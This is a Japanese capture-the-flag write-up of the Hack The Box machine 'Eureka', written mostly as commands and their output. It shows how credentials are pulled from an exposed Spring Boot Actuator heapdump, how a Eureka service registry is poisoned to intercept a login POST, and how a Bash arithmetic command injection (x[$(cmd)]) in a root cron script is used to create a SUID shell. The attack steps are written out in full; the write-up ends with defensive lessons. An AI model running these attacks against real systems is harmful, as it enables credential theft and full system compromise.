Hack The BoxのWriteup(Eureka)[High]

※本サイトはアフィリエイト広告を利用しています。
広告

サイトを表示

HackTheBox: Eureka — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80(→furni.htb)/8761
→
/actuator/heapdump 公開
Spring Boot Actuator誤設定
→
JVMメモリから資格情報復元
oscar190 / EurekaSrvr
→
Eurekaレジストリ汚染
偽インスタンス登録+実インスタンス削除
→
/login POSTをMITM捕捉
miranda.wise@furni.htb
→
miranda-wise SSH
user.txt ✓
→
log_analyse.sh のBash算術評価
developersグループで書込可能
→
root cronでコマンドインジェクション
x[$(cmd)] トリック
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

全ポートスキャン

BASH
nmap -Pn -p- --min-rate 1000 -T4 --max-retries 2 10.129.96.11
RESULT
Not shown: 65509 closed tcp ports (reset)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
8761/tcp  open     unknown
(その他、filtered多数 — ノイズ)

バージョン・スクリプトスキャン

BASH
nmap -Pn -sV -sC -p 22,80,8761 10.129.96.11
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
|   256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
|_  256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
8761/tcp open  http    Apache Tomcat (language: en)
| http-auth:
| HTTP/1.1 401
|_  Basic realm=Realm
Service Info: OS: Linux
🚨
重要発見: ポート80は furni.htb vhostへリダイレクトされる。 ポート8761はBasic認証で保護された Netflix Eureka Service Discovery Server (マシン名の由来)。/etc/hosts に 10.129.96.11 furni.htb を追記する。

furni.htb の調査 — Spring Boot製家具販売サイト

BASH
curl -s http://furni.htb/ | grep -oE 'href="[^"]*"' | sort -u
RESULT
href="/about"  href="/blog"  href="/cart"  href="/contact"
href="/login"  href="/register"  href="/services"  href="/shop"
ℹ️
レスポンスヘッダーに Vary: Origin / Vary: Access-Control-Request-Method / X-Frame-Options: DENY などSpring Securityの既定ヘッダーが多数存在し、 バックエンドがSpring Boot製であることを確認。
PHASE 2

Spring Boot Actuator /actuator/heapdump 公開 → 資格情報漏洩

Actuatorエンドポイントの公開状況確認

BASH
for ep in actuator actuator/health actuator/env actuator/heapdump actuator/mappings actuator/beans; do
  code=$(curl -s -o /dev/null -w '%{http_code}' --max-time 5 "http://furni.htb/$ep")
  echo "$ep -> $code"
done
RESULT
actuator -> 200
actuator/health -> 200
actuator/env -> 200
actuator/heapdump -> 200
actuator/mappings -> 200
actuator/beans -> 200
🚨
management.endpoints.web.exposure.include=* 相当の誤設定で、 本来運用者限定のActuator管理エンドポイントが全て認証なしで公開されている。 中でも /actuator/heapdump はJVMヒープ全体(稼働中のプロセスメモリ)を ダンプしてダウンロードさせる、最も危険度の高いエンドポイント。

heapdumpのダウンロード(約76MB)

BASH
curl -s -o heapdump "http://furni.htb/actuator/heapdump" -w "HTTP:%{http_code} size:%{size_download}\n"
RESULT
HTTP:200 size:80165337

strings による資格情報抽出

BASH
strings heapdump | grep -E 'jdbc:mysql|eureka.client.service-url|EurekaSrvr|spring.datasource.username' | sort -u
RESULT(抜粋)
{password=0sc@r190_S0l!dP@sswd, user=oscar190}!
http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/!
jdbc:mysql://localhost:3306/Furni_WebApp_DB
heapdumpから復元した資格情報
oscar190 : 0sc@r190_S0l!dP@sswd
EurekaSrvr : 0scarPWDisTheB3st
✅
JVMメモリ上に平文で残っていたJDBC接続文字列と、Eureka Server (:8761) の Basic認証資格情報の両方を単純な strings + 正規表現グレップだけ で復元できた(JDumpSpider等の専用ツールなしでも十分)。
PHASE 3

oscar190 SSHログイン & アプリケーション構成調査

oscar190でSSHログイン

BASH
sshpass -p '0sc@r190_S0l!dP@sswd' ssh oscar190@10.129.96.11 "whoami; hostname; id"
RESULT
oscar190
eureka
uid=1000(oscar190) gid=1001(oscar190) groups=1001(oscar190)

ユーザー一覧・sudo権限の確認

BASH
cat /etc/passwd | grep -E '/bin/bash$'
sudo -l
RESULT
root:x:0:0:root:/root:/bin/bash
oscar190:x:1000:1001:,,,:/home/oscar190:/bin/bash
miranda-wise:x:1001:1002:,,,:/home/miranda-wise:/bin/bash

sudo: a terminal is required to read the password; ...(sudo権限なし)
ℹ️
実シェルを持つのは oscar190 と miranda-wise の2名のみ。 user.txt は oscar190 ではなく miranda-wise が所有しているため、 さらにピボットが必要(oscar190はDB資格情報漏洩によるfootholdに過ぎない)。

Eurekaサーバー上の実稼働アプリ構成の把握

BASH
ps auxww | grep java
ls -la /var/www/web/
RESULT
cloud-gateway  Eureka-Server  Furni  static  user-management-service

# 4つの独立したSpring Bootアプリが稼働:
#   cloud-gateway (8080) — Spring Cloud Gateway (ルーティング)
#   user-management-service (8081) — ログイン/登録処理
#   Furni (8082) — 家具販売サイト本体
#   Eureka-Server (8761) — サービスディスカバリ

cloud-gatewayのルーティング設定を確認

BASH
cat /var/www/web/cloud-gateway/target/classes/application.yaml
RESULT(抜粋)
spring:
  cloud:
    gateway:
      routes:
        - id: user-management-service
          uri: lb://USER-MANAGEMENT-SERVICE
          predicates:
            - Path=/login,/logout,/register,/process_register
        - id: furni
          uri: lb://FURNI
          predicates:
            - Path=/**
🚨
核心となる設計上の弱点: /login 等へのリクエストは lb://USER-MANAGEMENT-SERVICEという論理名でルーティングされる。 実際の転送先IPはGatewayが都度Eureka Serverに問い合わせて解決するため、 Eurekaのサービスレジストリを汚染できれば、ログインPOSTそのものを 攻撃者のホストへ誘導できる(サービスディスカバリー経由のMITM)。
PHASE 4

Eurekaサービスレジストリ汚染 → ログイン資格情報MITM → user.txt

現在のレジストリ登録状況を確認

BASH
curl -s -u 'EurekaSrvr:0scarPWDisTheB3st' \
  "http://10.129.96.11:8761/eureka/apps/USER-MANAGEMENT-SERVICE" \
  -H "Accept: application/json" | python3 -m json.tool
RESULT(抜粋)
"instanceId": "localhost:USER-MANAGEMENT-SERVICE:8081",
"hostName": "localhost",
"ipAddr": "10.129.96.11",
"status": "UP"
ℹ️
本物のインスタンスIDは localhost:USER-MANAGEMENT-SERVICE:8081 という 固定形式(IPアドレスではなく localhost)。DELETE時にこの正確な文字列が必要。

攻撃者ホストを指す偽インスタンスを登録

API (Eureka REST, POST /eureka/apps/<app>)
curl -s -X POST "http://EurekaSrvr:0scarPWDisTheB3st@10.129.96.11:8761/eureka/apps/USER-MANAGEMENT-SERVICE" \
-H 'Content-Type: application/json' -d '{
  "instance": {
    "instanceId": "evil",
    "hostName": "10.10.15.200",
    "app": "USER-MANAGEMENT-SERVICE",
    "ipAddr": "10.10.15.200",
    "vipAddress": "USER-MANAGEMENT-SERVICE",
    "status": "UP",
    "port": {"$": 8081, "@enabled": "true"},
    "dataCenterInfo": {
      "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
      "name": "MyOwn"
    }
  }
}' -w "\nHTTP:%{http_code}\n"
RESULT
HTTP:204

本物のインスタンスを削除(継続的に繰り返す必要あり)

API (DELETE /eureka/apps/<app>/<instanceId>)
curl -s -X DELETE \
  "http://EurekaSrvr:0scarPWDisTheB3st@10.129.96.11:8761/eureka/apps/USER-MANAGEMENT-SERVICE/localhost:USER-MANAGEMENT-SERVICE:8081"
⚠️
本物のインスタンスはGateway側が約20秒間隔でハートビート再登録を行うため、 1回削除しただけではすぐ復活する。攻撃者ホストのリスナーを起動した状態で 「本物のインスタンスIDをGETで確認→存在すればDELETE」を2〜3秒間隔でループ させ、偽インスタンスのみが残る状態を維持しながらログイン試行を待つのが実用的。

リスナー起動 & ログイン資格情報の捕捉

BASH (ターミナル1: リスナー)
nc -lvnp 8081
RESULT(捕捉した生HTTPリクエスト)
POST /login HTTP/1.1
X-Real-IP: 127.0.0.1
...
host: 10.10.15.200:8081

username=miranda.wise%40furni.htb&password=IL%21veT0Be%26BeT0L0ve&_csrf=...
✅
rootのcron(miranda-Login-Simulator.sh、約1分間隔で実行)が送信する 実際のログインPOSTが、レジストリ汚染によりそのまま攻撃者のリスナーへ転送されてきた。 URLデコードすると miranda.wise@furni.htb / IL!veT0Be&BeT0L0ve という平文資格情報が得られる。
捕捉したログイン資格情報
miranda.wise@furni.htb : IL!veT0Be&BeT0L0ve

miranda-wiseでSSHログイン → user.txt

BASH
sshpass -p 'IL!veT0Be&BeT0L0ve' ssh miranda-wise@10.129.96.11 "id; cat /home/miranda-wise/user.txt"
RESULT
uid=1001(miranda-wise) gid=1002(miranda-wise) groups=1002(miranda-wise),1003(developers)
3094ff0df47671a77a8f94bbd8977733
user.txt — miranda-wise
3094ff0df47671a77a8f94bbd8977733
ℹ️
miranda-wise は developers グループに所属。この所属が 次の権限昇格フェーズの鍵になる。
PHASE 5

権限昇格の下調べ — log_analyse.sh のBash算術評価コマンドインジェクション

/opt 配下のroot所有スクリプトを確認

BASH
ls -la /opt/
RESULT
drwxrwx--- 2 root www-data heapdump
-rwxrwxr-x 1 root root     log_analyse.sh
drwxr-x--- 2 root root     scripts
ℹ️
log_analyse.sh はroot所有だが全ユーザー実行可(755)。 pspy等によるプロセス監視で、rootのcronがこのスクリプトを /var/www/web/cloud-gateway/log/application.log に対して 約1分間隔で実行していることを確認。

脆弱な analyze_http_statuses() 関数の特定

NOTE (/opt/log_analyse.sh 抜粋)
analyze_http_statuses() {
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        for i in "${!STATUS_CODES[@]}"; do
            existing_entry="${STATUS_CODES[$i]}"
            existing_code=$(echo "$existing_entry" | cut -d':' -f1)
            ...
            if [[ "$existing_code" -eq "$code" ]]; then
                ...
            fi
        done
    done < <(grep "HTTP.*Status: " "$LOG_FILE")
}
🚨
[[ ... -eq ... ]] はBashの算術コンテキストで両辺を評価する。 $code がログの1行から抽出した外部入力そのままであり、 その値に x[$(cmd)](配列インデックス式としての妥当な算術式)を仕込むと、 評価時に cmd がroot権限で実行される (CWE-78 Bash算術コンテキストコマンドインジェクション)。

ログファイルへの書込経路 — developersグループの間接書込権限

BASH
ls -la /var/www/web/cloud-gateway/log/
RESULT
drwxrwxr-x 2 www-data developers  log/
-rw-rw-r-- 1 www-data www-data   application.log
⚠️
application.log 自体はwww-data所有でmiranda-wiseから 直接上書きはできないが、親ディレクトリが developers グループに書込可能 なため、mv application.log application.log.bk で既存ファイルを退避し、 同名の新規ファイル(miranda-wise所有)を作成すれば、次にrootのcronが そのファイルを読む際には攻撃者が完全に内容を制御できる。
PHASE 6

root cronへのコマンドインジェクション → root.txt

ペイロードの投入(継続的な再注入が必要)

BASH
ssh miranda-wise@10.129.96.11 'cd /var/www/web/cloud-gateway/log && \
mv application.log application.log.bk 2>/dev/null; \
echo "HTTP Status: x[\$(cp /bin/bash /tmp/rootbash; chmod 6777 /tmp/rootbash)]" > application.log'
⚠️
クォートの罠(実機検証で発見): cloud-gatewayアプリ自身が同じログファイルへ 継続的に書き込むため、1回だけの注入では次のアプリ出力で上書きされ、rootのcron (約1分間隔)が発火する前に消えてしまうことがある。数秒おきに再注入し続ける ことで確実に捕捉できる。また上記コマンドはローカルの外側シングルクォートで リモートコマンド全体を囲み、内側はダブルクォート+\$という 構成が必須: ダブルクォート内の\$はリモートシェルのecho実行時点で バックスラッシュが除去されリテラルな$になるため、 ログファイルには正しく x[$(cmd)](バックスラッシュ無し)が書き込まれる。 誤って全体をシングルクォートのみで囲むと、バックスラッシュがそのまま残ってしまい log_analyse.sh側の算術評価が $(...) を認識できず発火しない。

数秒間隔で再注入しつつSUIDバイナリの出現を待つ

BASH
while true; do
  ssh miranda-wise@10.129.96.11 'cd /var/www/web/cloud-gateway/log && \
    mv application.log application.log.bk 2>/dev/null; \
    echo "HTTP Status: x[\$(cp /bin/bash /tmp/rootbash; chmod 6777 /tmp/rootbash)]" > application.log; \
    ls -la /tmp/rootbash 2>/dev/null'
  sleep 5
done
RESULT(発火時)
-rwsrwsrwx 1 root root 1183448 Nov  3 16:34 /tmp/rootbash
✅
root cronによるコマンドインジェクション成功。 実測では注入開始から 約60秒以内にSUID付き/bin/bashコピーが生成されることを確認 (ペイロード投入からこの再現性を複数回のタイミング実測で確認済み)。

root.txt 取得

BASH
ssh miranda-wise@10.129.96.11 "/tmp/rootbash -p -c 'id; cat /root/root.txt'"
RESULT
uid=1001(miranda-wise) gid=1002(miranda-wise) euid=0(root) egid=0(root) groups=0(root),1002(miranda-wise),1003(developers)
3620ed3a81837edb608b71e7ed6f0825
root.txt — root
3620ed3a81837edb608b71e7ed6f0825
ℹ️
-p オプションはSUIDビットで得た実効root権限をbash自身が ドロップしないようにするために必須(付けない場合、euidがuidに戻されてしまう)。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — miranda-wise
3094ff0df47671a77a8f94bbd8977733
root.txt — root
3620ed3a81837edb608b71e7ed6f0825

窃取した資格情報

項目値入手経路
DB/アプリ資格情報oscar190 : 0sc@r190_S0l!dP@sswdSpring Boot Actuator /actuator/heapdump のJVMメモリ文字列
Eureka Registry資格情報EurekaSrvr : 0scarPWDisTheB3st同上(heapdump内のeureka.client.service-url.defaultZoneプロパティ)
ログイン資格情報miranda.wise@furni.htb : IL!veT0Be&BeT0L0veEurekaサービスレジストリ汚染によるMITM(/login POST捕捉)

使用した脆弱性

脆弱性対象影響深刻度利用方法
Actuator heapdump公開 Spring Boot Actuator (Furniアプリ) DB/サービスディスカバリ資格情報の漏洩 Critical 認証なしで/actuator/heapdumpをダウンロードしstringsで平文資格情報を抽出
Eurekaサービスレジストリ汚染 Netflix Eureka Server + Spring Cloud Gateway ログイン資格情報のMITM窃取 High 偽インスタンス登録+本物インスタンス削除の継続でlb://論理名ルーティングを乗っ取り
Bash算術コンテキストコマンドインジェクション /opt/log_analyse.sh(root cron実行) 権限昇格(root RCE) Critical [[ "$a" -eq "$b" ]]にx[$(cmd)]形式の外部入力を混入させcron実行時にroot権限でコマンド実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap全ポート+バージョンスキャン、vhost特定22/80(→furni.htb)/8761、Eureka Server検出
2資格情報漏洩Actuator heapdump + stringsoscar190、EurekaSrvr資格情報
3FootholdSSH + アプリ構成調査4アプリ構成・cloud-gatewayルーティング把握
4レジストリ汚染Eureka REST API(POST/DELETE) + リスナーuser.txt(miranda-wise資格情報捕捉)
5権限調査log_analyse.sh静的解析、developers所属確認Bash算術評価インジェクションのベクタ特定
6権限昇格継続的ペイロード再注入 + root cron待機root.txt(SUID bashでroot化)

学んだ教訓 & 防御策

問題点防御策
Spring Boot Actuatorの全エンドポイントが認証なしで公開(exposure.include=*) Actuatorはmanagement.endpoints.web.exposure.includeで必要最小限(health等)のみ公開し、heapdump/env/beans等は管理者ネットワーク限定または別ポート+認証必須にする。
サービスディスカバリ(Eureka)のレジストリAPIが、漏洩した固定資格情報のみで防御されている Eureka Server自体をmTLS等でクライアント認証し、登録可能なインスタンス情報(hostName/ipAddr)をネットワークACLで制限する。資格情報はハードコードせずSecret管理サービスから取得する。
ログ解析スクリプトが外部入力(ログ内容)をBash算術コンテキストで直接評価 -eq/-lt等の算術比較の前に対象値が数値のみかを[[ "$x" =~ ^[0-9]+$ ]]等で検証する。シェルスクリプトでの数値比較は可能な限りcase文や文字列比較に置き換える。
root cronが処理するログファイルの親ディレクトリが低権限グループに書込可能 root権限プロセスが読み書きするファイルのディレクトリ権限は、書込者を明確に分離し(例: ログ専用サービスアカウント)、一般開発者グループに書込権限を与えない。
HackTheBox: Eureka | 完全攻略レポート